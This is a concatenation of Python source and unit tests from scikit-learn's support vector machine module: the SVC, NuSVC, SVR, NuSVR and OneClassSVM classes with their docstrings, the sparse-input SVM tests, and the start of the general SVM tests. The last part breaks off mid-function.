                 coef0=0.0, shrinking=True, probability=False,
                 tol=1e-3, cache_size=200, class_weight=None,
                 verbose=False, max_iter=-1, decision_function_shape=None,
                 random_state=None):

        super(SVC, self).__init__(
            impl='c_svc', kernel=kernel, degree=degree, gamma=gamma,
            coef0=coef0, tol=tol, C=C, nu=0., shrinking=shrinking,
            probability=probability, cache_size=cache_size,
            class_weight=class_weight, verbose=verbose, max_iter=max_iter,
            decision_function_shape=decision_function_shape,
            random_state=random_state)


class NuSVC(BaseSVC):
    """Nu-Support Vector Classification.

    Similar to SVC but uses a parameter to control the number of support
    vectors.

    The implementation is based on libsvm.

    Read more in the :ref:`User Guide <svm_classification>`.

    Parameters
    ----------
    nu : float, optional (default=0.5)
        An upper bound on the fraction of training errors and a lower
        bound of the fraction of support vectors. Should be in the
        interval (0, 1].

    kernel : string, optional (default='rbf')
         Specifies the kernel type to be used in the algorithm.
         It must be one of 'linear', 'poly', 'rbf', 'sigmoid', 'precomputed' or
         a callable.
         If none is given, 'rbf' will be used. If a callable is given it is
         used to precompute the kernel matrix.

    degree : int, optional (default=3)
        Degree of the polynomial kernel function ('poly').
        Ignored by all other kernels.

    gamma : float, optional (default='auto')
        Kernel coefficient for 'rbf', 'poly' and 'sigmoid'.
        If gamma is 'auto' then 1/n_features will be used instead.

    coef0 : float, optional (default=0.0)
        Independent term in kernel function.
        It is only significant in 'poly' and 'sigmoid'.

    probability : boolean, optional (default=False)
        Whether to enable probability estimates. This must be enabled prior
        to calling `fit`, and will slow down that method.

    shrinking : boolean, optional (default=True)
        Whether to use the shrinking heuristic.

    tol : float, optional (default=1e-3)
        Tolerance for stopping criterion.

    cache_size : float, optional
        Specify the size of the kernel cache (in MB).

    class_weight : {dict, 'balanced'}, optional
        Set the parameter C of class i to class_weight[i]*C for
        SVC. If not given, all classes are supposed to have
        weight one. The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies as
        ``n_samples / (n_classes * np.bincount(y))``

    verbose : bool, default: False
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in libsvm that, if enabled, may not work
        properly in a multithreaded context.

    max_iter : int, optional (default=-1)
        Hard limit on iterations within solver, or -1 for no limit.

    decision_function_shape : 'ovo', 'ovr' or None, default=None
        Whether to return a one-vs-rest ('ovr') decision function of shape
        (n_samples, n_classes) as all other classifiers, or the original
        one-vs-one ('ovo') decision function of libsvm which has shape
        (n_samples, n_classes * (n_classes - 1) / 2).
        The default of None will currently behave as 'ovo' for backward
        compatibility and raise a deprecation warning, but will change 'ovr'
        in 0.19.

        .. versionadded:: 0.17
           *decision_function_shape='ovr'* is recommended.

        .. versionchanged:: 0.17
           Deprecated *decision_function_shape='ovo' and None*.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data for probability estimation.

    Attributes
    ----------
    support_ : array-like, shape = [n_SV]
        Indices of support vectors.

    support_vectors_ : array-like, shape = [n_SV, n_features]
        Support vectors.

    n_support_ : array-like, dtype=int32, shape = [n_class]
        Number of support vectors for each class.

    dual_coef_ : array, shape = [n_class-1, n_SV]
        Coefficients of the support vector in the decision function.
        For multiclass, coefficient for all 1-vs-1 classifiers.
        The layout of the coefficients in the multiclass case is somewhat
        non-trivial. See the section about multi-class classification in
        the SVM section of the User Guide for details.

    coef_ : array, shape = [n_class-1, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        `coef_` is readonly property derived from `dual_coef_` and
        `support_vectors_`.

    intercept_ : array, shape = [n_class * (n_class-1) / 2]
        Constants in decision function.

    Examples
    --------
    >>> import numpy as np
    >>> X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])
    >>> y = np.array([1, 1, 2, 2])
    >>> from sklearn.svm import NuSVC
    >>> clf = NuSVC()
    >>> clf.fit(X, y) #doctest: +NORMALIZE_WHITESPACE
    NuSVC(cache_size=200, class_weight=None, coef0=0.0,
          decision_function_shape=None, degree=3, gamma='auto', kernel='rbf',
          max_iter=-1, nu=0.5, probability=False, random_state=None,
          shrinking=True, tol=0.001, verbose=False)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]

    See also
    --------
    SVC
        Support Vector Machine for classification using libsvm.

    LinearSVC
        Scalable linear Support Vector Machine for classification using
        liblinear.
    """

    def __init__(self, nu=0.5, kernel='rbf', degree=3, gamma='auto',
                 coef0=0.0, shrinking=True, probability=False,
                 tol=1e-3, cache_size=200, class_weight=None, verbose=False,
                 max_iter=-1, decision_function_shape=None, random_state=None):

        super(NuSVC, self).__init__(
            impl='nu_svc', kernel=kernel, degree=degree, gamma=gamma,
            coef0=coef0, tol=tol, C=0., nu=nu, shrinking=shrinking,
            probability=probability, cache_size=cache_size,
            class_weight=class_weight, verbose=verbose, max_iter=max_iter,
            decision_function_shape=decision_function_shape,
            random_state=random_state)


class SVR(BaseLibSVM, RegressorMixin):
    """Epsilon-Support Vector Regression.

    The free parameters in the model are C and epsilon.

    The implementation is based on libsvm.

    Read more in the :ref:`User Guide <svm_regression>`.

    Parameters
    ----------
    C : float, optional (default=1.0)
        Penalty parameter C of the error term.

    epsilon : float, optional (default=0.1)
         Epsilon in the epsilon-SVR model. It specifies the epsilon-tube
         within which no penalty is associated in the training loss function
         with points predicted within a distance epsilon from the actual
         value.

    kernel : string, optional (default='rbf')
         Specifies the kernel type to be used in the algorithm.
         It must be one of 'linear', 'poly', 'rbf', 'sigmoid', 'precomputed' or
         a callable.
         If none is given, 'rbf' will be used. If a callable is given it is
         used to precompute the kernel matrix.

    degree : int, optional (default=3)
        Degree of the polynomial kernel function ('poly').
        Ignored by all other kernels.

    gamma : float, optional (default='auto')
        Kernel coefficient for 'rbf', 'poly' and 'sigmoid'.
        If gamma is 'auto' then 1/n_features will be used instead.

    coef0 : float, optional (default=0.0)
        Independent term in kernel function.
        It is only significant in 'poly' and 'sigmoid'.

    shrinking : boolean, optional (default=True)
        Whether to use the shrinking heuristic.

    tol : float, optional (default=1e-3)
        Tolerance for stopping criterion.

    cache_size : float, optional
        Specify the size of the kernel cache (in MB).

    verbose : bool, default: False
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in libsvm that, if enabled, may not work
        properly in a multithreaded context.

    max_iter : int, optional (default=-1)
        Hard limit on iterations within solver, or -1 for no limit.

    Attributes
    ----------
    support_ : array-like, shape = [n_SV]
        Indices of support vectors.

    support_vectors_ : array-like, shape = [nSV, n_features]
        Support vectors.

    dual_coef_ : array, shape = [1, n_SV]
        Coefficients of the support vector in the decision function.

    coef_ : array, shape = [1, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        `coef_` is readonly property derived from `dual_coef_` and
        `support_vectors_`.

    intercept_ : array, shape = [1]
        Constants in decision function.

    sample_weight : array-like, shape = [n_samples]
            Individual weights for each sample

    Examples
    --------
    >>> from sklearn.svm import SVR
    >>> import numpy as np
    >>> n_samples, n_features = 10, 5
    >>> np.random.seed(0)
    >>> y = np.random.randn(n_samples)
    >>> X = np.random.randn(n_samples, n_features)
    >>> clf = SVR(C=1.0, epsilon=0.2)
    >>> clf.fit(X, y) #doctest: +NORMALIZE_WHITESPACE
    SVR(C=1.0, cache_size=200, coef0=0.0, degree=3, epsilon=0.2, gamma='auto',
        kernel='rbf', max_iter=-1, shrinking=True, tol=0.001, verbose=False)

    See also
    --------
    NuSVR
        Support Vector Machine for regression implemented using libsvm
        using a parameter to control the number of support vectors.

    LinearSVR
        Scalable Linear Support Vector Machine for regression
        implemented using liblinear.
    """
    def __init__(self, kernel='rbf', degree=3, gamma='auto', coef0=0.0,
                 tol=1e-3, C=1.0, epsilon=0.1, shrinking=True,
                 cache_size=200, verbose=False, max_iter=-1):

        super(SVR, self).__init__(
            'epsilon_svr', kernel=kernel, degree=degree, gamma=gamma,
            coef0=coef0, tol=tol, C=C, nu=0., epsilon=epsilon, verbose=verbose,
            shrinking=shrinking, probability=False, cache_size=cache_size,
            class_weight=None, max_iter=max_iter, random_state=None)


class NuSVR(BaseLibSVM, RegressorMixin):
    """Nu Support Vector Regression.

    Similar to NuSVC, for regression, uses a parameter nu to control
    the number of support vectors. However, unlike NuSVC, where nu
    replaces C, here nu replaces the parameter epsilon of epsilon-SVR.

    The implementation is based on libsvm.

    Read more in the :ref:`User Guide <svm_regression>`.

    Parameters
    ----------
    C : float, optional (default=1.0)
        Penalty parameter C of the error term.

    nu : float, optional
        An upper bound on the fraction of training errors and a lower bound of
        the fraction of support vectors. Should be in the interval (0, 1].  By
        default 0.5 will be taken.

    kernel : string, optional (default='rbf')
         Specifies the kernel type to be used in the algorithm.
         It must be one of 'linear', 'poly', 'rbf', 'sigmoid', 'precomputed' or
         a callable.
         If none is given, 'rbf' will be used. If a callable is given it is
         used to precompute the kernel matrix.

    degree : int, optional (default=3)
        Degree of the polynomial kernel function ('poly').
        Ignored by all other kernels.

    gamma : float, optional (default='auto')
        Kernel coefficient for 'rbf', 'poly' and 'sigmoid'.
        If gamma is 'auto' then 1/n_features will be used instead.

    coef0 : float, optional (default=0.0)
        Independent term in kernel function.
        It is only significant in 'poly' and 'sigmoid'.

    shrinking : boolean, optional (default=True)
        Whether to use the shrinking heuristic.

    tol : float, optional (default=1e-3)
        Tolerance for stopping criterion.

    cache_size : float, optional
        Specify the size of the kernel cache (in MB).

    verbose : bool, default: False
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in libsvm that, if enabled, may not work
        properly in a multithreaded context.

    max_iter : int, optional (default=-1)
        Hard limit on iterations within solver, or -1 for no limit.

    Attributes
    ----------
    support_ : array-like, shape = [n_SV]
        Indices of support vectors.

    support_vectors_ : array-like, shape = [nSV, n_features]
        Support vectors.

    dual_coef_ : array, shape = [1, n_SV]
        Coefficients of the support vector in the decision function.

    coef_ : array, shape = [1, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        `coef_` is readonly property derived from `dual_coef_` and
        `support_vectors_`.

    intercept_ : array, shape = [1]
        Constants in decision function.

    Examples
    --------
    >>> from sklearn.svm import NuSVR
    >>> import numpy as np
    >>> n_samples, n_features = 10, 5
    >>> np.random.seed(0)
    >>> y = np.random.randn(n_samples)
    >>> X = np.random.randn(n_samples, n_features)
    >>> clf = NuSVR(C=1.0, nu=0.1)
    >>> clf.fit(X, y)  #doctest: +NORMALIZE_WHITESPACE
    NuSVR(C=1.0, cache_size=200, coef0=0.0, degree=3, gamma='auto',
          kernel='rbf', max_iter=-1, nu=0.1, shrinking=True, tol=0.001,
          verbose=False)

    See also
    --------
    NuSVC
        Support Vector Machine for classification implemented with libsvm
        with a parameter to control the number of support vectors.

    SVR
        epsilon Support Vector Machine for regression implemented with libsvm.
    """

    def __init__(self, nu=0.5, C=1.0, kernel='rbf', degree=3,
                 gamma='auto', coef0=0.0, shrinking=True, tol=1e-3,
                 cache_size=200, verbose=False, max_iter=-1):

        super(NuSVR, self).__init__(
            'nu_svr', kernel=kernel, degree=degree, gamma=gamma, coef0=coef0,
            tol=tol, C=C, nu=nu, epsilon=0., shrinking=shrinking,
            probability=False, cache_size=cache_size, class_weight=None,
            verbose=verbose, max_iter=max_iter, random_state=None)


class OneClassSVM(BaseLibSVM):
    """Unsupervised Outlier Detection.

    Estimate the support of a high-dimensional distribution.

    The implementation is based on libsvm.

    Read more in the :ref:`User Guide <svm_outlier_detection>`.

    Parameters
    ----------
    kernel : string, optional (default='rbf')
         Specifies the kernel type to be used in the algorithm.
         It must be one of 'linear', 'poly', 'rbf', 'sigmoid', 'precomputed' or
         a callable.
         If none is given, 'rbf' will be used. If a callable is given it is
         used to precompute the kernel matrix.

    nu : float, optional
        An upper bound on the fraction of training
        errors and a lower bound of the fraction of support
        vectors. Should be in the interval (0, 1]. By default 0.5
        will be taken.

    degree : int, optional (default=3)
        Degree of the polynomial kernel function ('poly').
        Ignored by all other kernels.

    gamma : float, optional (default='auto')
        Kernel coefficient for 'rbf', 'poly' and 'sigmoid'.
        If gamma is 'auto' then 1/n_features will be used instead.

    coef0 : float, optional (default=0.0)
        Independent term in kernel function.
        It is only significant in 'poly' and 'sigmoid'.

    tol : float, optional
        Tolerance for stopping criterion.

    shrinking : boolean, optional
        Whether to use the shrinking heuristic.

    cache_size : float, optional
        Specify the size of the kernel cache (in MB).

    verbose : bool, default: False
        Enable verbose output. Note that this setting takes advantage of a
        per-process runtime setting in libsvm that, if enabled, may not work
        properly in a multithreaded context.

    max_iter : int, optional (default=-1)
        Hard limit on iterations within solver, or -1 for no limit.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data for probability estimation.

    Attributes
    ----------
    support_ : array-like, shape = [n_SV]
        Indices of support vectors.

    support_vectors_ : array-like, shape = [nSV, n_features]
        Support vectors.

    dual_coef_ : array, shape = [n_classes-1, n_SV]
        Coefficients of the support vectors in the decision function.

    coef_ : array, shape = [n_classes-1, n_features]
        Weights assigned to the features (coefficients in the primal
        problem). This is only available in the case of a linear kernel.

        `coef_` is readonly property derived from `dual_coef_` and
        `support_vectors_`

    intercept_ : array, shape = [n_classes-1]
        Constants in decision function.

    """
    def __init__(self, kernel='rbf', degree=3, gamma='auto', coef0=0.0,
                 tol=1e-3, nu=0.5, shrinking=True, cache_size=200,
                 verbose=False, max_iter=-1, random_state=None):

        super(OneClassSVM, self).__init__(
            'one_class', kernel, degree, gamma, coef0, tol, 0., nu, 0.,
            shrinking, False, cache_size, None, verbose, max_iter,
            random_state)

    def fit(self, X, y=None, sample_weight=None, **params):
        """
        Detects the soft boundary of the set of samples X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Set of samples, where n_samples is the number of samples and
            n_features is the number of features.

        sample_weight : array-like, shape (n_samples,)
            Per-sample weights. Rescale C per sample. Higher weights
            force the classifier to put more emphasis on these points.

        Returns
        -------
        self : object
            Returns self.

        Notes
        -----
        If X is not a C-ordered contiguous array it is copied.

        """
        super(OneClassSVM, self).fit(X, np.ones(_num_samples(X)),
                                     sample_weight=sample_weight, **params)
        return self

    def decision_function(self, X):
        """Distance of the samples X to the separating hyperplane.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        X : array-like, shape (n_samples,)
            Returns the decision function of the samples.
        """
        dec = self._decision_function(X)
        return dec






from nose.tools import assert_raises, assert_true, assert_false

import numpy as np
from scipy import sparse
from numpy.testing import (assert_array_almost_equal, assert_array_equal,
                           assert_equal)

from sklearn import datasets, svm, linear_model, base
from sklearn.datasets import make_classification, load_digits, make_blobs
from sklearn.svm.tests import test_svm
from sklearn.exceptions import ConvergenceWarning
from sklearn.utils.extmath import safe_sparse_dot
from sklearn.utils.testing import assert_warns, assert_raise_message

# test sample 1
X = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]])
X_sp = sparse.lil_matrix(X)
Y = [1, 1, 1, 2, 2, 2]
T = np.array([[-1, -1], [2, 2], [3, 2]])
true_result = [1, 2, 2]

# test sample 2
X2 = np.array([[0, 0, 0], [1, 1, 1], [2, 0, 0, ],
               [0, 0, 2], [3, 3, 3]])
X2_sp = sparse.dok_matrix(X2)
Y2 = [1, 2, 2, 2, 3]
T2 = np.array([[-1, -1, -1], [1, 1, 1], [2, 2, 2]])
true_result2 = [1, 2, 3]


iris = datasets.load_iris()
# permute
rng = np.random.RandomState(0)
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]
# sparsify
iris.data = sparse.csr_matrix(iris.data)


def check_svm_model_equal(dense_svm, sparse_svm, X_train, y_train, X_test):
    dense_svm.fit(X_train.toarray(), y_train)
    if sparse.isspmatrix(X_test):
        X_test_dense = X_test.toarray()
    else:
        X_test_dense = X_test
    sparse_svm.fit(X_train, y_train)
    assert_true(sparse.issparse(sparse_svm.support_vectors_))
    assert_true(sparse.issparse(sparse_svm.dual_coef_))
    assert_array_almost_equal(dense_svm.support_vectors_,
                              sparse_svm.support_vectors_.toarray())
    assert_array_almost_equal(dense_svm.dual_coef_, sparse_svm.dual_coef_.toarray())
    if dense_svm.kernel == "linear":
        assert_true(sparse.issparse(sparse_svm.coef_))
        assert_array_almost_equal(dense_svm.coef_, sparse_svm.coef_.toarray())
    assert_array_almost_equal(dense_svm.support_, sparse_svm.support_)
    assert_array_almost_equal(dense_svm.predict(X_test_dense), sparse_svm.predict(X_test))
    assert_array_almost_equal(dense_svm.decision_function(X_test_dense),
                              sparse_svm.decision_function(X_test))
    assert_array_almost_equal(dense_svm.decision_function(X_test_dense),
                              sparse_svm.decision_function(X_test_dense))
    if isinstance(dense_svm, svm.OneClassSVM):
        msg = "cannot use sparse input in 'OneClassSVM' trained on dense data"
    else:
        assert_array_almost_equal(dense_svm.predict_proba(X_test_dense),
                                  sparse_svm.predict_proba(X_test), 4)
        msg = "cannot use sparse input in 'SVC' trained on dense data"
    if sparse.isspmatrix(X_test):
        assert_raise_message(ValueError, msg, dense_svm.predict, X_test)


def test_svc():
    """Check that sparse SVC gives the same result as SVC"""
    # many class dataset:
    X_blobs, y_blobs = make_blobs(n_samples=100, centers=10, random_state=0)
    X_blobs = sparse.csr_matrix(X_blobs)

    datasets = [[X_sp, Y, T], [X2_sp, Y2, T2],
                [X_blobs[:80], y_blobs[:80], X_blobs[80:]],
                [iris.data, iris.target, iris.data]]
    kernels = ["linear", "poly", "rbf", "sigmoid"]
    for dataset in datasets:
        for kernel in kernels:
            clf = svm.SVC(kernel=kernel, probability=True, random_state=0,
                          decision_function_shape='ovo')
            sp_clf = svm.SVC(kernel=kernel, probability=True, random_state=0,
                             decision_function_shape='ovo')
            check_svm_model_equal(clf, sp_clf, *dataset)


def test_unsorted_indices():
    # test that the result with sorted and unsorted indices in csr is the same
    # we use a subset of digits as iris, blobs or make_classification didn't
    # show the problem
    digits = load_digits()
    X, y = digits.data[:50], digits.target[:50]
    X_test = sparse.csr_matrix(digits.data[50:100])

    X_sparse = sparse.csr_matrix(X)
    coef_dense = svm.SVC(kernel='linear', probability=True,
                         random_state=0).fit(X, y).coef_
    sparse_svc = svm.SVC(kernel='linear', probability=True,
                         random_state=0).fit(X_sparse, y)
    coef_sorted = sparse_svc.coef_
    # make sure dense and sparse SVM give the same result
    assert_array_almost_equal(coef_dense, coef_sorted.toarray())

    X_sparse_unsorted = X_sparse[np.arange(X.shape[0])]
    X_test_unsorted = X_test[np.arange(X_test.shape[0])]

    # make sure we scramble the indices
    assert_false(X_sparse_unsorted.has_sorted_indices)
    assert_false(X_test_unsorted.has_sorted_indices)

    unsorted_svc = svm.SVC(kernel='linear', probability=True,
                           random_state=0).fit(X_sparse_unsorted, y)
    coef_unsorted = unsorted_svc.coef_
    # make sure unsorted indices give same result
    assert_array_almost_equal(coef_unsorted.toarray(), coef_sorted.toarray())
    assert_array_almost_equal(sparse_svc.predict_proba(X_test_unsorted),
                              sparse_svc.predict_proba(X_test))


def test_svc_with_custom_kernel():
    kfunc = lambda x, y: safe_sparse_dot(x, y.T)
    clf_lin = svm.SVC(kernel='linear').fit(X_sp, Y)
    clf_mylin = svm.SVC(kernel=kfunc).fit(X_sp, Y)
    assert_array_equal(clf_lin.predict(X_sp), clf_mylin.predict(X_sp))


def test_svc_iris():
    # Test the sparse SVC with the iris dataset
    for k in ('linear', 'poly', 'rbf'):
        sp_clf = svm.SVC(kernel=k).fit(iris.data, iris.target)
        clf = svm.SVC(kernel=k).fit(iris.data.toarray(), iris.target)

        assert_array_almost_equal(clf.support_vectors_,
                                  sp_clf.support_vectors_.toarray())
        assert_array_almost_equal(clf.dual_coef_, sp_clf.dual_coef_.toarray())
        assert_array_almost_equal(
            clf.predict(iris.data.toarray()), sp_clf.predict(iris.data))
        if k == 'linear':
            assert_array_almost_equal(clf.coef_, sp_clf.coef_.toarray())


def test_sparse_decision_function():
    #Test decision_function

    #Sanity check, test that decision_function implemented in python
    #returns the same as the one in libsvm

    # multi class:
    svc = svm.SVC(kernel='linear', C=0.1, decision_function_shape='ovo')
    clf = svc.fit(iris.data, iris.target)

    dec = safe_sparse_dot(iris.data, clf.coef_.T) + clf.intercept_

    assert_array_almost_equal(dec, clf.decision_function(iris.data))

    # binary:
    clf.fit(X, Y)
    dec = np.dot(X, clf.coef_.T) + clf.intercept_
    prediction = clf.predict(X)
    assert_array_almost_equal(dec.ravel(), clf.decision_function(X))
    assert_array_almost_equal(
        prediction,
        clf.classes_[(clf.decision_function(X) > 0).astype(np.int).ravel()])
    expected = np.array([-1., -0.66, -1., 0.66, 1., 1.])
    assert_array_almost_equal(clf.decision_function(X), expected, 2)


def test_error():
    # Test that it gives proper exception on deficient input
    # impossible value of C
    assert_raises(ValueError, svm.SVC(C=-1).fit, X, Y)

    # impossible value of nu
    clf = svm.NuSVC(nu=0.0)
    assert_raises(ValueError, clf.fit, X_sp, Y)

    Y2 = Y[:-1]  # wrong dimensions for labels
    assert_raises(ValueError, clf.fit, X_sp, Y2)

    clf = svm.SVC()
    clf.fit(X_sp, Y)
    assert_array_equal(clf.predict(T), true_result)


def test_linearsvc():
    # Similar to test_SVC
    clf = svm.LinearSVC(random_state=0).fit(X, Y)
    sp_clf = svm.LinearSVC(random_state=0).fit(X_sp, Y)

    assert_true(sp_clf.fit_intercept)

    assert_array_almost_equal(clf.coef_, sp_clf.coef_, decimal=4)
    assert_array_almost_equal(clf.intercept_, sp_clf.intercept_, decimal=4)

    assert_array_almost_equal(clf.predict(X), sp_clf.predict(X_sp))

    clf.fit(X2, Y2)
    sp_clf.fit(X2_sp, Y2)

    assert_array_almost_equal(clf.coef_, sp_clf.coef_, decimal=4)
    assert_array_almost_equal(clf.intercept_, sp_clf.intercept_, decimal=4)


def test_linearsvc_iris():
    # Test the sparse LinearSVC with the iris dataset

    sp_clf = svm.LinearSVC(random_state=0).fit(iris.data, iris.target)
    clf = svm.LinearSVC(random_state=0).fit(iris.data.toarray(), iris.target)

    assert_equal(clf.fit_intercept, sp_clf.fit_intercept)

    assert_array_almost_equal(clf.coef_, sp_clf.coef_, decimal=1)
    assert_array_almost_equal(clf.intercept_, sp_clf.intercept_, decimal=1)
    assert_array_almost_equal(
        clf.predict(iris.data.toarray()), sp_clf.predict(iris.data))

    # check decision_function
    pred = np.argmax(sp_clf.decision_function(iris.data), 1)
    assert_array_almost_equal(pred, clf.predict(iris.data.toarray()))

    # sparsify the coefficients on both models and check that they still
    # produce the same results
    clf.sparsify()
    assert_array_equal(pred, clf.predict(iris.data))
    sp_clf.sparsify()
    assert_array_equal(pred, sp_clf.predict(iris.data))


def test_weight():
    # Test class weights
    X_, y_ = make_classification(n_samples=200, n_features=100,
                                 weights=[0.833, 0.167], random_state=0)

    X_ = sparse.csr_matrix(X_)
    for clf in (linear_model.LogisticRegression(),
                svm.LinearSVC(random_state=0),
                svm.SVC()):
        clf.set_params(class_weight={0: 5})
        clf.fit(X_[:180], y_[:180])
        y_pred = clf.predict(X_[180:])
        assert_true(np.sum(y_pred == y_[180:]) >= 11)


def test_sample_weights():
    # Test weights on individual samples
    clf = svm.SVC()
    clf.fit(X_sp, Y)
    assert_array_equal(clf.predict([X[2]]), [1.])

    sample_weight = [.1] * 3 + [10] * 3
    clf.fit(X_sp, Y, sample_weight=sample_weight)
    assert_array_equal(clf.predict([X[2]]), [2.])


def test_sparse_liblinear_intercept_handling():
    # Test that sparse liblinear honours intercept_scaling param
    test_svm.test_dense_liblinear_intercept_handling(svm.LinearSVC)


def test_sparse_oneclasssvm():
    """Check that sparse OneClassSVM gives the same result as dense OneClassSVM"""
    # many class dataset:
    X_blobs, _ = make_blobs(n_samples=100, centers=10, random_state=0)
    X_blobs = sparse.csr_matrix(X_blobs)

    datasets = [[X_sp, None, T], [X2_sp, None, T2],
                [X_blobs[:80], None, X_blobs[80:]],
                [iris.data, None, iris.data]]
    kernels = ["linear", "poly", "rbf", "sigmoid"]
    for dataset in datasets:
        for kernel in kernels:
            clf = svm.OneClassSVM(kernel=kernel, random_state=0)
            sp_clf = svm.OneClassSVM(kernel=kernel, random_state=0)
            check_svm_model_equal(clf, sp_clf, *dataset)


def test_sparse_realdata():
    # Test on a subset from the 20newsgroups dataset.
    # This catches some bugs if input is not correctly converted into
    # sparse format or weights are not correctly initialized.

    data = np.array([0.03771744, 0.1003567, 0.01174647, 0.027069])
    indices = np.array([6, 5, 35, 31])
    indptr = np.array(
        [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
         1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2,
         2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
         2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 4, 4])
    X = sparse.csr_matrix((data, indices, indptr))
    y = np.array(
        [1., 0., 2., 2., 1., 1., 1., 2., 2., 0., 1., 2., 2.,
         0., 2., 0., 3., 0., 3., 0., 1., 1., 3., 2., 3., 2.,
         0., 3., 1., 0., 2., 1., 2., 0., 1., 0., 2., 3., 1.,
         3., 0., 1., 0., 0., 2., 0., 1., 2., 2., 2., 3., 2.,
         0., 3., 2., 1., 2., 3., 2., 2., 0., 1., 0., 1., 2.,
         3., 0., 0., 2., 2., 1., 3., 1., 1., 0., 1., 2., 1.,
         1., 3.])

    clf = svm.SVC(kernel='linear').fit(X.toarray(), y)
    sp_clf = svm.SVC(kernel='linear').fit(sparse.coo_matrix(X), y)

    assert_array_equal(clf.support_vectors_, sp_clf.support_vectors_.toarray())
    assert_array_equal(clf.dual_coef_, sp_clf.dual_coef_.toarray())


def test_sparse_svc_clone_with_callable_kernel():
    # Test that the "dense_fit" is called even though we use sparse input
    # meaning that everything works fine.
    a = svm.SVC(C=1, kernel=lambda x, y: x * y.T, probability=True,
                random_state=0)
    b = base.clone(a)

    b.fit(X_sp, Y)
    pred = b.predict(X_sp)
    b.predict_proba(X_sp)

    dense_svm = svm.SVC(C=1, kernel=lambda x, y: np.dot(x, y.T),
                        probability=True, random_state=0)
    pred_dense = dense_svm.fit(X, Y).predict(X)
    assert_array_equal(pred_dense, pred)
    # b.decision_function(X_sp)  # XXX : should be supported


def test_timeout():
    sp = svm.SVC(C=1, kernel=lambda x, y: x * y.T, probability=True,
                 random_state=0, max_iter=1)

    assert_warns(ConvergenceWarning, sp.fit, X_sp, Y)


def test_consistent_proba():
    a = svm.SVC(probability=True, max_iter=1, random_state=0)
    proba_1 = a.fit(X, Y).predict_proba(X)
    a = svm.SVC(probability=True, max_iter=1, random_state=0)
    proba_2 = a.fit(X, Y).predict_proba(X)
    assert_array_almost_equal(proba_1, proba_2)












"""
Testing for Support Vector Machine module (sklearn.svm)

TODO: remove hard coded numerical results when possible
"""
import numpy as np
import itertools
from numpy.testing import assert_array_equal, assert_array_almost_equal
from numpy.testing import assert_almost_equal
from numpy.testing import assert_allclose
from scipy import sparse
from nose.tools import assert_raises, assert_true, assert_equal, assert_false
from sklearn import svm, linear_model, datasets, metrics, base
from sklearn.model_selection import train_test_split
from sklearn.datasets import make_classification, make_blobs
from sklearn.metrics import f1_score
from sklearn.metrics.pairwise import rbf_kernel
from sklearn.utils import check_random_state
from sklearn.utils.testing import assert_greater, assert_in, assert_less
from sklearn.utils.testing import assert_raises_regexp, assert_warns
from sklearn.utils.testing import assert_warns_message, assert_raise_message
from sklearn.utils.testing import ignore_warnings
from sklearn.exceptions import ChangedBehaviorWarning
from sklearn.exceptions import ConvergenceWarning
from sklearn.exceptions import NotFittedError
from sklearn.multiclass import OneVsRestClassifier
from sklearn.externals import six

# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
Y = [1, 1, 1, 2, 2, 2]
T = [[-1, -1], [2, 2], [3, 2]]
true_result = [1, 2, 2]

# also load the iris dataset
iris = datasets.load_iris()
rng = check_random_state(42)
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]


def test_libsvm_parameters():
    # Test parameters on classes that make use of libsvm.
    clf = svm.SVC(kernel='linear').fit(X, Y)
    assert_array_equal(clf.dual_coef_, [[-0.25, .25]])
    assert_array_equal(clf.support_, [1, 3])
    assert_array_equal(clf.support_vectors_, (X[1], X[3]))
    assert_array_equal(clf.intercept_, [0.])
    assert_array_equal(clf.predict(X), Y)


def test_libsvm_iris():
    # Check consistency on dataset iris.

    # shuffle the dataset so that labels are not ordered
    for k in ('linear', 'rbf'):
        clf = svm.SVC(kernel=k).fit(iris.data, iris.target)
        assert_greater(np.mean(clf.predict(iris.data) == iris.target), 0.9)

    assert_array_equal(clf.classes_, np.sort(clf.classes_))

    # check also the low-level API
    model = svm.libsvm.fit(iris.data, iris.target.astype(np.float64))
    pred = svm.libsvm.predict(iris.data, *model)
    assert_greater(np.mean(pred == iris.target), .95)

    model = svm.libsvm.fit(iris.data, iris.target.astype(np.float64),
                           kernel='linear')
    pred = svm.libsvm.predict(iris.data, *model, kernel='linear')
    assert_greater(np.mean(pred == iris.target), .95)

    pred = svm.libsvm.cross_validation(iris.data,
                                       iris.target.astype(np.float64), 5,
                                       kernel='linear',
                                       random_seed=0)
    assert_greater(np.mean(pred == iris.target), .95)

    # If random_seed >= 0, the libsvm rng is seeded (by calling `srand`), hence
    # we should get deterministic results (assuming that there is no other
    # thread calling this wrapper calling `srand` concurrently).
    pred2 = svm.libsvm.cross_validation(iris.data,
                                        iris.target.astype(np.float64), 5,
                                        kernel='linear',
                                        random_seed=0)
    assert_array_equal(pred, pred2)


@ignore_warnings
def test_single_sample_1d():
    # Test whether SVCs work on a single sample given as a 1-d array

